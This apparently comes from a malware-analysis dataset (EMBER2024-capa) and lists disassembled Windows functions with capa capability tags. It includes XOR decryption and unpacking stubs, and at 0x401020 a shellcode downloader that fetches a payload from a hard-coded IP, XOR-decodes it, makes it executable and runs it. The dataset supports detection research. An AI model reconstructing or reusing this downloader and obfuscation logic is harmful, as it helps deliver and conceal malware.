joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x366972ae
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x32a55196
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
test esi, esi
jle 0x40101b
mov dl, byte [ebp + 0x10]
mov ecx, dword [ebp + 8]
xor byte [eax + ecx], dl
inc eax
cmp eax, esi
jl 0x401013
pop esi
pop ebp
ret

Function at 0x401020
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Download url
Execute shellcode via indirect call
Read file on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push 0
push 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x44]
push ecx
push 0
mov dword [ebp - 0x44], 0x70747468
mov dword [ebp - 0x40], 0x312f2f3a
mov dword [ebp - 0x3c], 0x312e3330
mov dword [ebp - 0x38], 0x322e3034
mov dword [ebp - 0x34], 0x312e3833
mov dword [ebp - 0x30], 0x393a3138
mov dword [ebp - 0x2c], 0x2e392f32
mov dword [ebp - 0x28], 0x6e6962
mov dword [ebp - 0x24], 0x2f2f3a43
mov dword [ebp - 0x20], 0x72657355
mov dword [ebp - 0x1c], 0x502f2f73
mov dword [ebp - 0x18], 0x696c6275
mov dword [ebp - 0x14], 0x742f2f63
mov dword [ebp - 0x10], 0x696e692e
mov byte [ebp - 0xc], 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x40112d
push eax
push 0x80
push 3
push eax
push eax
push 0x80000000
lea edx, [ebp - 0x24]
push edx
call dword [0x409bc0]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40112d
push esi
push edi
push 0
push ebx
call dword [0x409bc4]
mov edi, eax
push edi
call fcn.0040114e
add esp, 4
push 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40111b
cmp dword [ebp - 4], edi
jne 0x40111b
push 0x75
push edi
push esi
call section..text
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
push esi
call fcn.00401160
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4033cb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x409380]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004020c5
and dword [ebp - 0x14], 0
cmp dword [0x40a4d8], 0
mov dword [ebp - 0x18], eax
jne 0x40347e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x403526
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x403526
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40a4d8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40a4dc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40a4e0], eax
call edi
push eax
call esi
mov dword [0x40a4e8], eax
test eax, eax
je 0x40347e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40a4e4], eax
mov eax, dword [0x40a4e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4034d7
cmp dword [0x40a4e8], ecx
je 0x4034d7
push eax
call esi
push dword [0x40a4e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4034d7
test ebx, ebx
je 0x4034d7
call edi
test eax, eax
je 0x4034ce
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4034ce
test byte [ebp - 8], 1
jne 0x4034d7
or dword [ebp + 0x10], 0x200000
jmp 0x40350a
mov eax, dword [0x40a4dc]
cmp eax, dword [ebp - 0x18]
je 0x40350a
push eax
call esi
test eax, eax
je 0x40350a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40350a
mov eax, dword [0x40a4e0]
cmp eax, dword [ebp - 0x18]
je 0x40350a
push eax
call esi
test eax, eax
je 0x40350a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40a4d8]
call esi
test eax, eax
je 0x403526
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403528
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403736
leave
ret

Function at 0x403736
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409380]
jne 0x403740
repz ret
jmp fcn.00404a73
Function at 0x100014e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x10001538
cmp byte [esi + ebx - 1], 0xa
je 0x1000150c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x10006084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x10001b60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call sym.___wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x10001d38
mov edi, dword [0x10006084]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], edi
je 0x10001c47
test byte [0x10002030], 8
jne 0x10001ce0
lea ebx, [ebp - 0xd4]
mov edi, ebx
test byte [0x10002040], 8
jne 0x10001ca0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x10001be9
cmp esi, 3
jbe 0x10001c58
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x10001bfa
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x1000411c]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x10001be9
mov dword [esp], 0x10002040
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x10001bc0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call sym._sprintf
add edi, eax
jmp 0x10001bc0
mov dword [esp], 0x10002030
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x10001bab
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [ebp - 0xd4]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea edi, [ebx + eax]
jmp 0x10001bb3
mov eax, 0xffffffff
jmp 0x10001c47
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x50ce50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.QNhjSkbP
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x50ce72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50ce79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50ce68
mov eax, 1
add ebx, ebx
jne 0x50ce8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50ce80
jne 0x50ce9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50ce80
xor ecx, ecx
sub eax, 3
jb 0x50ceb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50cf22
mov ebp, eax
add ebx, ebx
jne 0x50cebb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50cec8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50ceec
inc ecx
add ebx, ebx
jne 0x50ced8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50cecd
jne 0x50cee9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50cecd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50cf0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50cefd
jmp 0x50ce6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50cf0c
add edi, ecx
jmp 0x50ce6e
pop esi
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x50cf6b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xeacc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xeb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50cf29
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xeb2c]
or eax, eax
je 0x50cf65
mov dword [ebx], eax
add ebx, 4
jmp 0x50cf46
call dword [esi + 0xeb28]
mov ebp, dword [esi + 0xeb30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50cf9f
sub esp, 0xffffff80
jmp section.bUItIFMf
Function at 0x405960
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x441050], 0
je 0x4059c1
cmp word [0x44132c], 0xd7b2
jne 0x405989
cmp dword [0x441334], 0
jbe 0x405989
mov eax, 0x441328
call dword [0x441344]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4059ec
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x43f02c], 0
jne 0x4059dd
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x407714
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40787b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00406444
cmp si, word [0x43f7c0]
jb 0x4077ae
cmp si, word [0x43f9c0]
ja 0x4077ae
mov edi, 0x40
xor eax, eax
mov dword [ebp - 0xc], eax
cmp edi, dword [ebp - 0xc]
jb 0x4077ae
mov ebx, dword [ebp - 0xc]
add ebx, edi
shr ebx, 1
cmp si, word [ebx*8 + 0x43f7c0]
jae 0x407788
mov edi, ebx
dec edi
jmp 0x4077a9
cmp si, word [ebx*8 + 0x43f7c0]
jbe 0x407798
inc ebx
mov dword [ebp - 0xc], ebx
jmp 0x4077a9
mov edx, dword [ebp - 8]
mov eax, dword [ebx*8 + 0x43f7c4]
call fcn.00407624
jmp 0x4077ae
cmp edi, dword [ebp - 0xc]
jae 0x407772
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x40785d
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40785d
push 0x55
lea eax, [ebp - 0xb6]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x160]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x164]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.0040662c
push dword [ebp - 0x164]
push 0x407898
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x160]
mov ecx, 0x55
call fcn.0040662c
push dword [ebp - 0x168]
push 0x4078a8
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.0040662c
push dword [ebp - 0x16c]
mov eax, dword [ebp - 8]
mov edx, 5
call fcn.00406918
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407882
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.0040643c
ret
Function at 0x4078ac
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 6], edx
mov word [ebp - 2], ax
xor eax, eax
push ebp
push 0x407a92
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x443b58
call sub.kernel32.dll_EnterCriticalSection
movzx eax, word [0x443b70]
cmp ax, word [ebp - 2]
jne 0x407904
mov eax, dword [ebp - 6]
mov edx, 0x443b74
mov ecx, 0x55
call fcn.0040662c
push 0x443b58
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x407a7c
push 0x443b58
call sub.kernel32.dll_LeaveCriticalSection
mov eax, dword [ebp - 6]
xor edx, edx
call fcn.00406444
push 2
movzx eax, word [ebp - 2]
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x407a44
cmp byte [0x443b54], 0
je 0x4079fa
call dword [0x443b4c]
mov word [ebp - 0x16], ax
movzx eax, word [ebp - 2]
push eax
call dword [0x443b50]
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor ecx, ecx
push ebp
push 0x4079f3
push dword fs:[ecx]
mov dword fs:[ecx], esp
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0x38
call dword [0x443b48]
test al, al
je 0x4079cc
mov eax, dword [ebp - 0xc]
add eax, eax
call fcn.00404304
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x38
call dword [0x443b48]
mov edx, dword [ebp - 0xc]
sub edx, 2
test edx, edx
jb 0x4079c1
inc edx
xor eax, eax
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
jne 0x4079bd
mov ecx, dword [ebp - 0x10]
mov word [ecx + eax*2], 0x2c
inc eax
dec edx
jne 0x4079aa
mov eax, dword [ebp - 6]
mov edx, dword [ebp - 0x10]
call fcn.004065f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407a44
movzx eax, word [ebp - 0x16]
push eax
call dword [0x443b50]
cmp dword [ebp - 0x10], 0
je 0x4079f2
mov eax, dword [ebp - 0x10]
call fcn.00404320
ret
mov edx, dword [ebp - 6]
movzx eax, word [ebp - 2]
call fcn.00407714
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp ax, word [ebp - 2]
je 0x407a44
mov eax, dword [ebp - 6]
cmp dword [eax], 0
je 0x407a29
mov eax, dword [ebp - 6]
mov edx, 0x407aac
call fcn.00406774
mov eax, dword [ebp - 6]
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 0x1c]
call fcn.00407714
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 6]
call fcn.00406774
mov eax, dword [ebp - 6]
push 0x443b58
call sub.kernel32.dll_EnterCriticalSection
movzx eax, word [ebp - 2]
mov word [0x443b70], ax
push 0xaa
mov eax, dword [ebp - 6]
mov eax, dword [eax]
call fcn.004064d0
push eax
push 0x443b74
call sub.kernel32.dll_lstrcpynW
push 0x443b58
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407a99
lea eax, [ebp - 0x1c]
call fcn.00406434
ret
Function at 0x407cd0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040642c
xor eax, eax
push ebp
push 0x407eb5
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x407d10
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x407d2a
push 0x105
mov eax, dword [ebp - 4]
call fcn.004064d0
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x407e9f
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407ec4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x407db9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407ec4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x407db9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407ef8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x407db9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407f2c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x407e9f
xor eax, eax
push ebp
push 0x407e98
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.00407ad4
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x407e28
mov eax, dword [ebp - 0x10]
call fcn.00404304
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004065f0
jmp 0x407e73
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x407f6c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x407e73
mov eax, dword [ebp - 0x10]
call fcn.00404304
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x407f6c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004065f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e9f
cmp dword [ebp - 8], 0
je 0x407e8e
mov eax, dword [ebp - 8]
call fcn.00404320
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407ebc
lea eax, [ebp - 4]
call fcn.00406434
ret
Function at 0x408180
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x220], ebx
mov esi, ecx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
call fcn.0040642c
mov eax, dword [ebp - 0x21c]
call fcn.0040642c
lea edi, [ebp - 0x210]
xor eax, eax
push ebp
push 0x40831f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor edx, edx
call fcn.00406444
xor ebx, ebx
push 0x105
mov eax, dword [ebp - 0x21c]
call fcn.004064d0
push eax
lea eax, [ebp - 0x20a]
push eax
call sub.kernel32.dll_lstrcpynW
lea eax, [ebp - 0x20a]
push eax
call sub.kernel32.dll_lstrlenW
add eax, eax
lea edx, [ebp - 0x20a]
add eax, edx
sub eax, 2
mov dword [edi], eax
jmp 0x408220
sub dword [edi], 2
mov eax, dword [edi]
cmp word [eax], 0x2e
je 0x408232
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
jne 0x40821d
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
je 0x4082eb
add dword [edi], 2
mov eax, dword [edi]
mov word [eax], 0
lea eax, [ebp - 0x20a]
mov edx, dword [edi]
sub edx, eax
sar edx, 1
jns 0x40825b
adc edx, 0
mov eax, 0x105
sub eax, edx
mov dword [ebp - 0x214], eax
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0x218]
call fcn.00407cd0
cmp dword [ebp - 0x220], 0
je 0x408293
push ebp
mov eax, dword [ebp - 0x220]
call fcn.00408074
pop ecx
mov ebx, eax
jmp 0x4082eb
push ebp
call sub.kernel32.dll_GetUserDefaultUILanguage
lea edx, [ebp - 0x224]
call fcn.004078ac
mov eax, dword [ebp - 0x224]
call fcn.00408074
pop ecx
mov ebx, eax
test bl, bl
jne 0x4082de
cmp byte [0x443b54], 0
jne 0x4082de
push ebp
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 0x228]
call fcn.004078ac
mov eax, dword [ebp - 0x228]
call fcn.00408074
pop ecx
mov ebx, eax
test bl, bl
jne 0x4082eb
push ebp
call fcn.00408124
pop ecx
mov ebx, eax
test bl, bl
je 0x408301
mov eax, esi
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.0040662c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408326
lea eax, [ebp - 0x228]
mov edx, 5
call fcn.0040643c
ret

Function at 0x408750
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x40cdf8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.004064d0
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x40ce16
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 2
je 0x40ce37
cmp ebx, 3
je 0x40ce37
cmp ebx, 0x7b
je 0x40ce37
mov eax, esi
call fcn.0040cdb8
test al, al
jne 0x40ce3b
xor eax, eax
jmp 0x40ce3d
mov al, 1
pop esi
pop ebx
ret

Function at 0x40ce40
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004064d0
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x40ce59
test al, 0x10
jne 0x40ce5d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret